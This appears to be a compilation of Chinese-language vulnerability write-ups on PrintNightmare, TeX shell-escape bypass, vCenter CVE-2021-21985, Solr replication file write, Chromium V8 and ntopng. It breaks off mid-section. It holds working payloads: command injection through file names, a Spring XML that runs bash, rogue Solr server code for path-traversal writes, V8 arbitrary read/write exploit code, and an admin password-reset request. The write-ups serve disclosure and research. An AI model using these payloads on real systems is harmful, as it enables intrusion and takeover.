绕过建立驱动文件目录函数
CreateInternalDriverFileArray()函数根据文件操作标志来决定是否检查spool驱动目录。如果a5 flag被标志为False,驱动加载函数只会检查用户目录中是否包含要拷贝的驱动文件;否则,函数会尝试到spool驱动目录寻找目标驱动,在本地提权场景下,这将导致列表建立失败。
通过简单分析可以发现,在FileCopyFlags中设置APD_COPY_FROM_DIRECTORY(0x10),即可跳过spool目录检查。
绕过驱动文件版本检查
后续的检查包括对需要添加的驱动的兼容性检查,这里主要是检查我们需要添加的驱动版本信息(这里主要是指版本号的第二位,我后面所描述的版本号都特指第二位):
下面是用来被当去打印驱动加载的我们自己生成的一个dll文件,
修改dll文件版本号绕过驱动文件兼容性检查:
驱动加载函数InternalAddPrinterDriver中的检查限制了驱动版号只能为0,1,3.
而兼容性检查的内部函数实现(ntprint.dll的PSetupIsCompatibleDriver函数)又限制了该版本号必须大于2。因此,可以修改待加载驱动或dll文件的版本号为3,从而绕过驱动兼容性检查。
驱动文件的复制加载
驱动文件拷贝函数(CopyFileToFinalDirectory)对参数没有额外的限制。函数执行完成后,我们的驱动文件以及依赖就被复制到驱动目录了,复制后的驱动文件会被自动加载。
自动加载驱动:
尝试远程执行代码。
目前,我们已经可以从本地指定的用户目录加载我们自定义的打印机驱动文件到spool驱动目录。之前我们对AddPrinterDriverExW函数的调用第一个参数为空,用来在本地加载。如果直接设置该参数为指定服务器地址,目标会返回我们需要登陆到目标设备的权限的错误。作为测试,我们先通过IPC连接到目标设备,之后再通过我们的驱动添加调用,使远程目标设备从其本地的指定目录复制驱动文件到spool驱动目录并加载。
但这里有一个问题,这个操作仅仅是让目标服务器从本地磁盘复制并加载驱动,在此之前,我们还要使我们自己的驱动文件从攻击机设备的目录上分发到目标设备上。
这里就必须要求目标开启对应的集群后台打印处理程序,之后再次调用AddPrinterDriverExW修改标志为APD_COPY_TO_ALL_SPOOLERS,将本地的驱动文件分发到目标设备磁盘上。
远程加载驱动
最后,我这里并没有使用实际的集群打印服务器的环境。作为测试,我预先复制了驱动文件到目标服务器的指定路径。调用AddPrinterDriverExW使远程目标服务器完成了复制用户目录驱动文件到驱动目录并以system权限加载的过程。
思路验证视频:
漏洞总结
该漏洞的核心是允许普通用户绕过检查,将一个任意未签名dll复制到驱动目录并以系统管理员权限加载起来。而该漏洞可以达到远程触发的效果,则是由于集群打印服务间可以远程分发接收打印驱动文件的特性。
所以就目前的漏洞验证结果来看,该漏洞的危害似乎可能比他的漏洞原理表现出来的要影响更多一点。除了作为本地提权的利用方式之外,如果在一些内部隔离办公环境,启用了这种集群打印服务又没有及时更新系统补丁,该漏洞的作用还是比较有威胁性的。
对 PrintNightmare 0day POC的补充说明
通过最近一两天其他研究人员的证明,目前公开的cube0x0/PrintNightmare poc可以对最新的补丁起作用。鉴于此,我们后续验证了这个原因。
通过分析,补丁函数中对调用来源做了检查,查询当前调用者token失败时,会强制删除掉APD_INSTALL_WARNED_DRIVER(0x8000)的驱动添加标志。从而导致验证不通过。
但是,当我们从远程调用到这个接口,至少目前证实的通过IPC连接到目标后,这里的调用者已经继承了所需要的token,从而绕过检查。
从某种意义上讲,该漏洞修复方案只针对本地提权场景进行了限制,而没有考虑到远程调用对漏洞的影响。
参考
TeX 安全模式绕过研究
漏洞时间线:
- 2021/03/08 - 提交漏洞至 TeX 官方;
- 2021/03/27 - 漏洞修复,安全版本:TeX Live 2021;
- 2021/06/06 - 漏洞分析公开。
I. Tex 安全限制概述
TeX 提供了 \write18
原语以执行命令。为了提高安全性,TexLive 的配置文件(texmf.cnf)提供了配置项(shell_escape、shell_escape_commands)去配置 \write18
能否执行命令以及允许执行的命令列表。
其中 shell_escape 有三种配置值,分别为:
- f:不允许执行任何命令
- t:允许执行任何命令
- p:支持执行白名单内的命令(默认)
白名单命令列表可以通过如下命令查询:
kpsewhich --var-value shell_escape_commands
shell_escape 配置值可以通过如下命令查询:
kpsewhich --var-value shell_escape
本文涉及的 CVE 如下:没 advisory 懒得申请了。
II. 挖掘思路
TeX 提供了一个默认的白名单命令列表,如若在调用过程中,这些命令出现安全问题,则会导致 TeX 本身在调用命令的时候出现相同的安全问题。
可以假设:在命令调用的过程中,由于开发者对于命令参数的不完全掌握,有可能存在某个命令参数最终会作为系统命令进行调用的情况。依据这个思路,挖掘白名单内的命令以及白名单内命令的内部调用,并最终得到一个调用链以及相关的参数列表,依据研究人员的经验去判断是否存在安全问题。
III. 在 *nix 下的利用方式
通过针对命令的深入挖掘,发现白名单内的 repstopdf 命令存在安全问题,通过精心构造参数可以执行任意系统命令。
repstopdf 意为 restricted epstopdf,epstopdf 是一个 Perl 开发的脚本程序,可以将 eps 文件转化为 pdf 文件。repstopdf 强制开启了 epstopdf 的 --safer
参数,同时禁用了 --gsopt/--gsopts/--gscmd
等 GhostScript 相关的危险参数,以防止在 TeX 中调用此命令出现安全问题。repstopdf 调用方式如下:
repstopdf [options] [epsfile [pdffile.pdf]]
repstopdf 会调用 GhostScript 去生成 pdf 文件(具体调用参数可以用过 strace 命令进行跟踪),其中传入的 epsfile
参数会成为 GhostScript 的 -sOutputFile=
选项的参数。
通过查阅 GhostScript 的文档可知,GhostScript 的此项参数支持管道操作。当我们传入文件名为:|id
时,GhostScript 会执行 id 命令。于是我们可以构造 repstopdf 的参数实现任意的命令执行操作,不受前文所提及的限制条件限制。利用方式如下所示:
repstopdf '|id #'
在 TeX 内的利用方式为:
\write18{repstopdf "|id #"}
IV. 在 Windows 下的利用方式
Windows 平台下,白名单内存在的是 epstopdf 而非 repstopdf,且相关参数选项与 *nix 平台下不相同,但仍旧存在 --gsopt
选项。利用此选项可以控制调用 GhostScript 时的参数。
此参数只支持设定调用 GhostScript 时的参数选项。参考 GhostScript 的文档,指定参数 -sOutputFile
及其他相关参数即可。利用方式为:
epstopdf 1.tex "--gsopt=-sOutputFile=%pipe%calc" "--gsopt=-sDEVICE=pdfwrite" "--gsopt=-"
V. LuaLaTeX 的安全问题
LuaLaTex 内置了 Lua 解释器,可以在编译时执行 Lua 代码,原语为:\directlua
。LuaLaTeX 支持调用系统命令,但是同样地受到 shell_escape 的限制。如在受限(f)模式下,不允许执行任意命令;默认情况下只允许执行白名单内的命令。由于可以调用白名单内的命令,LuaLaTeX 同样可以利用 III、IV 内描述的方式进行利用,在此不做进一步赘述。
LuaLaTeX 的 Lua 解释器支持如下风险功能:
- 命令执行(io.popen 等函数)
- 文件操作(lfs 库函数)
- 环境变量设置(os.setenv)
- 内置了部分自研库(fontloader)
1. 环境变量劫持导致命令执行
通过修改 PATH 环境变量,可以达到劫持白名单内命令的效果。PATH 环境变量指定了可执行文件所在位置的目录路径,当在终端或者命令行输入命令时,系统会依次查找 PATH 变量中指定的目录路径,如果该命令存在与目录中,则执行此命令(https://en.wikipedia.org/wiki/PATH_(variable))。
将 PATH 变量修改为攻击者可控的目录,并在该目录下创建与白名单内命令同名的恶意二进制文件后,攻击者通过正常系统功能调用白名单内的命令后,可以达到任意命令执行的效果。
2. fontloader 库安全问题
fontloader 库存在典型的命令注入问题,问题代码如下:
// texk/web2c/luatexdir/luafontloader/fontforge/fontforge/splinefont.c
char *Decompress(char *name, int compression) {
char *dir = getenv("TMPDIR");
char buf[1500];
char *tmpfile;
if ( dir==NULL ) dir = P_tmpdir;
tmpfile = galloc(strlen(dir)+strlen(GFileNameTail(name))+2);
strcpy(tmpfile,dir);
strcat(tmpfile,"/");
strcat(tmpfile,GFileNameTail(name));
*strrchr(tmpfile,'.') = '\0';
#if defined( _NO_SNPRINTF ) || defined( __VMS )
sprintf( buf, "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#else
snprintf( buf, sizeof(buf), "%s < %s > %s", compressors[compression].decomp, name, tmpfile );
#endif
if ( system(buf)==0 )
return( tmpfile );
free(tmpfile);
return( NULL );
}
调用链为:
ff_open -> ReadSplineFont -> _ReadSplineFont -> Decompress -> system
通过 Lua 调用 fontloader.open
函数即可触发。此方式可以在受限(f)模式下执行命令。
VI. DVI 的安全问题
DVI(Device independent file)是一种二进制文件格式,可以由 TeX 生成。在 TeX 中,可以利用 \special
原语嵌入图形。TeX 内置了 DVI 查看器,其中 *nix 平台下为 xdvi 命令,Windows 平台下通常为 YAP(Yet Another Previewer)。
1. xdvi 命令的安全问题
xdvi 在处理超链接时,调用了系统命令启动新的 xdvi,存在典型的命令注入问题。问题代码如下:
// texk/xdvik/hypertex.c
void
launch_xdvi(const char *filename, const char *anchor_name)
{
#define ARG_LEN 32
int i = 0;
const char *argv[ARG_LEN];
char *shrink_arg = NULL;
ASSERT(filename != NULL, "filename argument to launch_xdvi() mustn't be NULL");
argv[i++] = kpse_invocation_name;
argv[i++] = "-name";
argv[i++] = "xdvi";
/* start the new instance with the same debug flags as the current instance */
if (globals.debug != 0) {
argv[i++] = "-debug";
argv[i++] = resource.debug_arg;
}
if (anchor_name != NULL) {
argv[i++] = "-anchorposition";
argv[i++] = anchor_name;
}
argv[i++] = "-s";
shrink_arg = XMALLOC(shrink_arg, LENGTH_OF_INT + 1);
sprintf(shrink_arg, "%d", currwin.shrinkfactor);
argv[i++] = shrink_arg;
argv[i++] = filename; /* FIXME */
argv[i++] = NULL;
...
execvp(argv[0], (char **)argv);
2. YAP 安全问题
YAP 在处理 DVI 内置的 PostScripts 脚本时调用了 GhostScript,且未开启安全模式(-dSAFER),可以直接利用内嵌的 GhostScript 进行命令执行。
VII. 漏洞利用
TeX 底层出现安全问题时,可以影响基于 TeX 的相关在线平台、TeX 编辑器以及命令行。下面以 MacOS 下比较知名的 Texpad 进行演示:
VIII. 参考文章
- http://scumjr.github.io/2016/11/28/pwning-coworkers-thanks-to-latex/
- https://mirrors.tuna.tsinghua.edu.cn/CTAN/support/epstopdf/epstopdf.man1.pdf
- https://www.texfaq.org/FAQ-spawnprog
- https://0day.work/hacking-with-latex/
- https://www.ghostscript.com/doc/current/Use.htm#Pipes
- https://ruxcon.org.au/assets/2017/slides/hong-ps-and-gs-ruxcon2017.pdf
CVE-2021-21985 vCenter Server 远程代码执行漏洞分析
vSphere vCenter Server 的 vsphere-ui 基于 OSGi 框架,包含上百个 bundle。前几日爆出的任意文件写入漏洞即为 vrops 相关的 bundle 出现的问题。在针对其他 bundle 审计的过程中,发现 h5-vsan 相关的 bundle 提供了一些 API 端点,并且未经过授权即可访问。通过进一步的利用,发现其中某个端点存在安全问题,可以执行任意 Spring Bean 的方法,从而导致命令执行。
漏洞时间线:
- 2021/04/13 - 发现漏洞并实现 RCE;
- 2021/04/16 - 提交漏洞至 VMware 官方并获得回复;
- 2021/05/26 - VMware 发布漏洞 Advisory(VMSA-2021-0010);
- 2021/06/02 - Exploit 公开(from 随风's blog);
- 2021/06/05 - 本文公开。
0x01. 漏洞分析
存在漏洞的 API 端点如下:
首先在请求路径中获取 Bean 名称或者类名和方法名称,接着从 POST 数据中获取 methodInput
列表作为方法参数,接着进入 invokeService
方法:
invokeServer
先获取了 Bean 实例,接着获取该实例的方法列表,比对方法名和方法参数长度后,将用户传入的参数进行了一个简单的反序列化后利用进行了调用。Bean 非常多(根据版本不同数量有微量变化),如图所示:
其中不乏存在危险方法、可以利用的 Bean,需要跟进其方法实现进行排查。本文中的 PoC 所使用的 Bean 是 vmodlContext
,对应的类是 com.vmware.vim.vmomi.core.types.impl.VmodContextImpl
,其中的 loadVmodlPackage
方法代码如下:
注意到 loadVmodlPackage
会调用 SpringContextLoader
进行加载,vmodPackage
可控。
最终会调用到 ClassPathXmlApplicationContext
的构造方法。ClassPathXmlApplicationContext
可以指定一个 XML 文件路径,Spring 会解析 XML 的内容,造成 SpEL 注入,从而实现执行任意代码。
需要注意的是,在 SpringContextLoader
的 getContextFileNameForPackage
会将路径中的 .
替换为 /
,所以无法指定一个正常的 IPv4 地址,但是可以利用数字型 IP 绕过:
XML 文件内容及攻击效果如下:
0x02. 不出网利用(6.7 / 7.0)
若要利用此漏洞本质上需要获取一个 XML 文件的内容,而 Java 的 URL 并不支持 data 协议,那么需要返回内容可控的 SSRF 或者文件上传漏洞。这里利用的是返回内容可控的 SSRF 漏洞。漏洞位于 vSAN Health 组件中的 VsanHttpProvider.py:
这里存在一个 SSRF 漏洞,使用的是 Python 的 urlopen
函数进行请求,接着将返回内容在内存中进行解压,并且匹配文件名为 .*offline_bundle.*
的内容并进行返回。Python 的 urlopen
支持 data 协议,所以可以构造一个压缩包并 Base64 编码,构造 data 协议的 URL:
在利用的过程中,将 IP 地址替换为 localhost 即可防止 .
被替换。由于这个端点在 6.5 版本的 vSAN Health 不存在,所以无法在 6.5 版本上不出网利用。
现在虽然不用进行外网请求,但是仍然无法获取命令回显。通过查看 Bean 列表,发现存在名为 systemProperties
的 Bean。同时这个 Bean 也存在方法可以获取属性内容:
所以在执行 SpEL 时,可以将命令暂存到 systemProperties
中,然后利用 getProperty
方法获取回显。最终的 context.xml 内容为:
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder">
<constructor-arg>
<list>
<value>/bin/bash</value>
<value>-c</value>
<value><![CDATA[ ls -la / 2>&1 ]]></value>
</list>
</constructor-arg>
</bean>
<bean id="is" class="java.io.InputStreamReader">
<constructor-arg>
<value>#{pb.start().getInputStream()}</value>
</constructor-arg>
</bean>
<bean id="br" class="java.io.BufferedReader">
<constructor-arg>
<value>#{is}</value>
</constructor-arg>
</bean>
<bean id="collectors" class="java.util.stream.Collectors"></bean>
<bean id="system" class="java.lang.System">
<property name="whatever" value="#{ system.setProperty("output", br.lines().collect(collectors.joining("\n"))) }"/>
</bean>
</beans>
最终利用需要两个 HTTP 请求进行。第一个请求利用 h5-vsan 组件的 SSRF 去请求本地的 vSAN Health 组件,触发第二个 SSRF 漏洞从而返回内容可控的 XML 文件内容,XML 文件会执行命令并存入 System Properties 中,第二个请求调用 systemProperties
Bean 的 getProperty
方法获取输出。最终攻击效果如下:
0x03. 技术总结
Apache Solr 8.8.1 SSRF to Arbitrary File Write Vulnerability
0x01. TL; DR
事情要从 Skay 的 SSRF 漏洞(CVE-2021-27905)说起。正巧后续的工作中遇到了 Solr,我就接着这个漏洞进行了进一步的分析。漏洞原因是在于 Solr 主从复制(Replication)时,可以传入任意 URL,而 Solr 会针对此 URL 进行请求。
说起主从复制,那么对于 Redis 主从复制漏洞比较熟悉的人会知道,可以利用主从复制的功能实现任意文件写入,那么 Solr 是否会存在这个问题呢?通过进一步的分析,我发现这个漏洞岂止于 SSRF,简直就是 Redis Replication 文件写入的翻版,通过构造合法的返回,可以以 Solr 应用的权限实现任意文件写。
对于低版本 Solr,可以通过写入 JSP 文件获取 Webshell,对于高版本 Solr,则需要结合用户权限,写入 crontab 或者 authorized_keys 文件利用。
0x02. CVE-2021-27905
Solr 的 ReplicationHandler 在传入 command 为 fetchindex
时,会请求传入的 masterUrl
,漏洞点如下:
SSRF 漏洞到这里就结束了。那么后续呢,如果是正常的主从复制,又会经历怎么样的过程?
0x03. Replication 代码分析
我们继续跟进 doFetch
方法,发现会调用到 fetchLatestIndex
方法:
在此方法中,首先去请求目标 URL 的 Solr 实例,接着对于返回值的 indexversion
和 generation
进行判断:
如果全部合法(参加下图的 if 条件),则继续请求服务,获取文件列表:
文件列表包含filelist
、confFiles
和 tlogFiles
三部分,如果目标 Solr 实例返回的文件列表不为空,则将文件列表中的内容添加到 filesToDownload
中。这里 Solr 是调用的 command 是 filelist
。
获取下载文件的列表后,接着 Solr 会进行文件的下载操作,按照 filesToDownload
、 tlogFilesToDownload
、confFilesToDownload
的顺序进行下载。
我们随意跟进某个下载方法,比如 downloadConfFiles
:
可以发现,saveAs
变量是取于 files 的某个属性,而最终会直接创建一个 File
对象:
也就是说,如果 file 的 alias
或者 name
可控,则可以利用 ../
进行目录遍历,造成任意文件写入的效果。再回到 fetchFileList
查看,可以发现,filesToDownload
是完全从目标 Solr 实例的返回中获取的,也就是说是完全可控的。
0x04. Exploit 编写
类似于 Redis Replication 的 Exploit,我们也需要编写一个 Rogue Solr Server,需要实现几种 commands,包括 indexversion
、filelist
以及 filecontent
。部分代码如下:
if (data.contains("command=indexversion")) {
response = SolrResponse.makeIndexResponse().toByteArray();
} else if (data.contains("command=filelist")) {
response = SolrResponse.makeFileListResponse().toByteArray();
} else if (data.contains("command=filecontent")) {
response = SolrResponse.makeFileContentResponse().toByteArray();
} else {
response = "Hello World".getBytes();
}
t.getResponseHeaders().add("Content-Type", "application/octet-stream");
t.sendResponseHeaders(200, response.length);
OutputStream os = t.getResponseBody();
os.write(response);
os.close()
返回恶意文件的代码如下:
public static ByteArrayOutputStream makeFileListResponse() throws IOException {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
JavaBinCodec codec = new JavaBinCodec(null);
NamedList<Object> values = new SimpleOrderedMap<>();
NamedList<Object> headers = new SimpleOrderedMap<>();
headers.add("status", 0);
headers.add("QTime", 1);
values.add("responseHeader", headers);
HashMap<String, Object> file = new HashMap<>();
file.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file.put("lastmodified", new Long("123456"));
file.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList = new ArrayList<>();
fileList.add(file);
HashMap<String, Object> file2 = new HashMap<>();
file2.put("size", new Long(String.valueOf((new File(FILE_NAME)).length())));
file2.put("lastmodified", new Long("123456"));
file2.put("name", DIST_FILE);
ArrayList<HashMap<String, Object>> fileList2 = new ArrayList<>();
fileList2.add(file2);
values.add("confFiles", fileList);
values.add("filelist", fileList2);
codec.marshal(values, outputStream);
return outputStream;
其中 DIST_FILE
为攻击者传入的参数,比如传入 ../../../../../../../../tmp/pwn.txt
,而 FILE_NAME
是本地要写入的文件的路径。攻击效果如下:
Chromium V8 JavaScript引擎远程代码执行漏洞分析讨论
0x01-概述
2021年4月13日,安全研究人员Rajvardhan Agarwal在推特公布了本周第一个远程代码执行(RCE)的0Day漏洞,该漏洞可在当前版本(89.0.4389.114)的谷歌Chrome浏览器上成功触发。Agarwal公布的漏洞,是基于Chromium内核的浏览器中V8 JavaScript引擎的远程代码执行漏洞,同时还发布了该漏洞的PoC。
2021年4月14日,360高级攻防实验室安全研究员frust公布了本周第二个Chromium 0day(Issue 1195777)以及Chrome 89.0.4389.114的poc视频验证。该漏洞会影响当前最新版本的Google Chrome 90.0.4430.72,以及Microsoft Edge和其他可能基于Chromium的浏览器。
Chrome浏览器沙盒可以拦截该漏洞。但如果该漏洞与其他漏洞进行组合,就有可能绕过Chrome沙盒。
0x02-漏洞PoC
目前四个漏洞issue 1126249、issue 1150649、issue 1196683、issue 1195777的exp均使用同一绕过缓解措施手法(截至文章发布,后两个issue尚未公开),具体细节可参考文章。
基本思路是创建一个数组,然后调用shift函数构造length为-1的数组,从而实现相对任意地址读写。issue 1196683中关键利用代码如下所示。
function foo(a) {
......
if(x==-1) x = 0;
var arr = new Array(x);//---------------------->构造length为-1数组
arr.shift();
......
}
issue 1195777中关键利用代码如下所示:
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//---------------------->构造length为-1数组
arr.shift();
let local_arr = Array(2);
......
}
参考issue 1126249和issue 1150649中关键poc代码如下所示,其缓解绕过可能使用同一方法。
//1126249
function jit_func(a) {
.....
v5568 = Math.sign(v19229) < 0|0|0 ? 0 : v5568;
let v51206 = new Array(v5568);
v51206.shift();
Array.prototype.unshift.call(v51206);
v51206.shift();
.....
}
//1150649
function jit_func(a, b) {
......
v56971 = 0xfffffffe/2 + 1 - Math.sign(v921312 -(-0x1)|6328);
if (b) {
v56971 = 0;
}
v129341 = new Array(Math.sign(0 - Math.sign(v56971)));
v129341.shift();
v4951241 = {};
v129341.shift();
......
}
国内知名研究员gengming和@dydhh1推特发文将在zer0pwn会议发表议题讲解CVE-2020-1604[0|1]讲过如何绕过缓解机制。本文在此不再赘述。
frust在youtube给出了Chrome89.0.4389.114的poc视频验证;经测试最新版Chrome 90.0.4430.72仍旧存在该漏洞。
0x03-exp关键代码
exp关键代码如下所示。
class LeakArrayBuffer extends ArrayBuffer {
constructor(size) {
super(size);
this.slot = 0xb33f;//进行地址泄露
}
}
function foo(a) {
let x = -1;
if (a) x = 0xFFFFFFFF;
var arr = new Array(Math.sign(0 - Math.max(0, x, -1)));//构造长度为-1的数组
arr.shift();
let local_arr = Array(2);
local_arr[0] = 5.1;//4014666666666666
let buff = new LeakArrayBuffer(0x1000);//
arr[0] = 0x1122;//修改数组长度
return [arr, local_arr, buff];
}
for (var i = 0; i < 0x10000; ++i)
foo(false);
gc(); gc();
[corrput_arr, rwarr, corrupt_buff] = foo(true);
通过代码Array(Math.sign(0 - Math.max(0, x, -1)))
创建一个length为-1的数组,然后使用LeakArrayBuffer构造内存布局,将相对读写布局成绝对读写。
这里需要说明的是,由于chrome80以上版本启用了地址压缩,地址高4个字节,可以在构造的array后面的固定偏移找到。
先将corrupt_buffer的地址泄露,然后如下计算地址
(corrupt_buffer_ptr_low & 0xffff0000) - ((corrupt_buffer_ptr_low & 0xffff0000) % 0x40000) + 0x40000;
可以计算出高4字节。
同时结合0x02步骤中实现的相对读写和对象泄露,可实现绝对地址读写。@r4j0x00在issue 1196683中构造length为-1数组后,则通过伪造对象实现任意地址读写。
之后,由于WASM内存具有RWX权限,因此可以将shellcode拷贝到WASM所在内存,实现任意代码执行。
具体细节参考exp。
该漏洞目前已修复。
0x04-小结
严格来说,此次研究人员公开的两个漏洞并非0day,相关漏洞在最新的V8版本中已修复,但在公开时并未merge到最新版chrome中。由于Chrome自身拥有沙箱保护,该漏洞在沙箱内无法被成功利用,一般情况下,仍然需要配合提权或沙箱逃逸漏洞才行达到沙箱外代码执行的目的。但是,其他不少基于v8等组件的app(包括安卓),尤其是未开启沙箱保护的软件,仍具有潜在安全风险。
漏洞修复和应用代码修复之间的窗口期为攻击者提供了可乘之机。Chrome尚且如此,其他依赖v8等组件的APP更不必说,使用1 day甚至 N day即可实现0 day效果。这也为我们敲响警钟,不仅仅是安全研究,作为应用开发者,也应当关注组件漏洞并及时修复,避免攻击者趁虚而入。
我们在此也敦促各大软件厂商、终端用户、监管机构等及时采取更新、防范措施;使用Chrome的用户需及时更新,使用其他Chrome内核浏览器的用户则需要提高安全意识,防范攻击。
参考链接
https://chromium-review.googlesource.com/c/v8/v8/+/2826114/3/src/compiler/representation-change.cc
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=476971
https://bugs.chromium.org/p/chromium/issues/detail?id=1150649
https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=465645
https://bugs.chromium.org/p/chromium/issues/detail?id=1126249
https://github.com/avboy1337/1195777-chrome0day/blob/main/1195777.html
https://github.com/r4j0x00/exploits/blob/master/chrome-0day/exploit.js
ntopng 流量分析工具多个漏洞分析
0x00. TL;DR
ntopng 是一套开源的网络流量监控工具,提供基于 Web 界面的实时网络流量监控。支持跨平台,包括 Windows、Linux 以及 MacOS。ntopng 使用 C++ 语言开发,其绝大部分 Web 逻辑使用 lua 开发。
在针对 ntopng 的源码进行审计的过程中,笔者发现了 ntopng 存在多个漏洞,包括一个权限绕过漏洞、一个 SSRF 漏洞和多个其他安全问题,接着组合利用这些问题成功实现了部分版本的命令执行利用和管理员 Cookie 伪造。
比较有趣的是,利用的过程涉及到 SSDP 协议、gopher scheme 和奇偶数,还有极佳的运气成分。ntopng 已经针对这些漏洞放出补丁,并在 4.2 版本进行修复。涉及漏洞的 CVE 如下:
- CVE-2021-28073
- CVE-2021-28074
0x01. 部分权限绕过 (全版本)
ntopng 的 Web 界面由 Lua 开发,对于 HTTP 请求的处理、认证相关的逻辑由后端 C++ 负责,文件为 HTTPserver.cpp
。对于一个 HTTP 请求来说,ntopng 的主要处理逻辑代码都在 handle_lua_request
函数中。其 HTTP 处理逻辑流程如下:
- 检测是不是某些特殊路径,如果是直接返回相关逻辑结束函数;
- 检测是不是白名单路径,如果是则储存在 whitelisted 变量中;
- 检测是否是静态资源,通过判断路径最后的扩展名,如果不是则进入认证逻辑,认证不通过结束函数;
- 检测是否路径以某些特殊路径开头,如果是则调用 Lua 解释器,逻辑交由 Lua 层;
- 以上全部通过则判断为静态文件,函数返回,交由 mongoose 处理静态文件。
针对一个非白名单内的 lua 文件,是无法在通过认证之前到达的,因为无法通过判断是否是静态文件的相关逻辑。同时为了使我们传入的路径进入调用 LuaEngine::handle_script_request 我们传入的路径需要以 /lua/
或者 /plugins/
开头,以静态文件扩展名结尾,比如 .css
或者 .js
。
// HTTPserver.cpp
if(!isStaticResourceUrl(request_info, len)) {
...
}
if((strncmp(request_info->uri, "/lua/", 5) == 0)
|| (strcmp(request_info->uri, "/metrics") == 0)
|| (strncmp(request_info->uri, "/plugins/", 9) == 0)
|| (strcmp(request_info->uri, "/") == 0)) {
...
进入 if 语句后,ntopng 声明了一个 大小为 255 的字符串数组 来储存用户请求的文件路径。并针对以非 .lua
扩展名结尾的路径后补充了 .lua
,接着调用 stat 函数判断此路径是否存在。如果存在则调用 LuaEngine::handle_script_request
来进行处理。
// HTTPserver.cpp
/* Lua Script */
char path[255] = { 0 }, uri[2048];
struct stat buf;
bool found;
...
if(strlen(path) > 4 && strncmp(&path[strlen(path) - 4], ".lua", 4))
snprintf(&path[strlen(path)], sizeof(path) - strlen(path) - 1, "%s",
(char*)".lua");
ntop->fixPath(path);
found = ((stat(path, &buf) == 0) && (S_ISREG(buf.st_mode))) ? true : false;
if(found) {
...
l = new LuaEngine(NULL);
...
l->handle_script_request(conn, request_info, path, &attack_attempt, username,
group, csrf, localuser);
ntopng 调用 snprintf 将用户请求的 URI 写入到 path 数组中,而 snprintf 会在字符串结尾添加 \0
。由于 path 数组长度有限,即使用户传入超过 255 个字符的路径,也只会写入前 254 个字符,我们可以通过填充 ./
来构造一个长度超过 255 但是合法的路径,并利用长度限制来截断后面的 .css.lua,即可绕过 ntopng 的认证以访问部分 Lua 文件。
目前有两个问题,一个是为什么只能用 ./
填充,另外一个是为什么说是“部分 Lua 文件”。
第一个问题,在 thrid-party/mongoose/mongoose.c
中,进行路径处理之前会调用下面的函数去除重复的 /
以及 .
,导致我们只能用 ./
来填充。
void remove_double_dots_and_double_slashes(char *s) {
char *p = s;
while (*s != '\0') {
*p++ = *s++;
if (s[-1] == '/' || s[-1] == '\\') {
// Skip all following slashes, backslashes and double-dots
while (s[0] != '\0') {
if (s[0] == '/' || s[0] == '\\') {
s++;
} else if (s[0] == '.' && s[1] == '.') {
s += 2;
} else {
break;
}
}
}
}
*p = '\0';
}
说部分 Lua 文件的原因为,由于我们只能利用两个字符 ./
来进行路径填充,。那么针对前缀长度为偶数的路径,我们只能访问路径长度为偶数的路径,反之亦然。因为一个偶数加一个偶数要想成为偶数必然需要再加一个偶数。也就是说,我们需要:
len("/path/to/ntopng/lua/") + len("./") * padding + len("path/to/file") = 255 - 1
0x02. 全局权限绕过 (版本 4.1.x-4.3.x)
其实大多数 ntopng 的安装路径都是偶数(/usr/share/ntopng/scripts/lua/),那么我们需要一个合适的 gadgets 来使我们执行任意 lua 文件。通过对 lua 文件的审计,我发现 modules/widgets_utils.lua
内存在一个合适的 gadgets:
// modules/widgets_utils.lua
function widgets_utils.generate_response(widget, params)
local ds = datasources_utils.get(widget.ds_hash)
local dirs = ntop.getDirs()
package.path = dirs.installdir .. "/scripts/lua/datasources/?.lua;" .. package.path
-- Remove trailer .lua from the origin
local origin = ds.origin:gsub("%.lua", "")
-- io.write("Executing "..origin..".lua\n")
--tprint(widget)
-- Call the origin to return
local response = require(origin)
调用入口在 widgets/widget.lua
,很幸运,这个文件名长度为偶数。通过阅读代码逻辑可知,我们需要在edit_widgets.lua
创建一个 widget,而创建 widget 有需要存在一个 datasource,在 edit_datasources.lua
创建。而这两个文件的文件名长度全部为偶数,所以我们可以利用请求这几个文件,从而实现任意文件包含的操作,从而绕过 ntopng 的认证。
0x03. Admin 密码重置利用 (版本 2.x)
利用 0x01 的认证绕过,请求 admin/password_reset.lua
即可更改管理员的密码。
GET /lua/.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.
%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%
2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2
f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2f
.%2f.%2f.%2f.%2f.%2f.%2f.%2f.%2fadmin/password_reset.lua.css?confirm_new_
password=123&new_password=123&old_password=0&username=admin HTTP/1.1
Host: 127.0.0.1:3000
Cookie: user=admin
Connection: close
0x04. 利用主机发现功能伪造 Session (版本 4.1.x-4.3.x)
ntopng 的主机发现功能利用了 SSDP(Simple Service Discovery Protocol)协议去发现内网中的设备。
SSDP 协议进行主机发现的流程如下所示:
+----------------------+
| SSDP Client +<--------+
+-----------+----------+ |
| |
M-SEARCH HTTP/1.1 200 OK
v |
+-----------+----------+ |
| 239.255.255.250:1900 | |
+---+--------------+---+ |
| | |
v v |
+---+-----+ +-----+---+ |
| DEVICES | | DEVICES | |
+---+-----+ +-----+---+ |
| | |
+--------------+-------------+
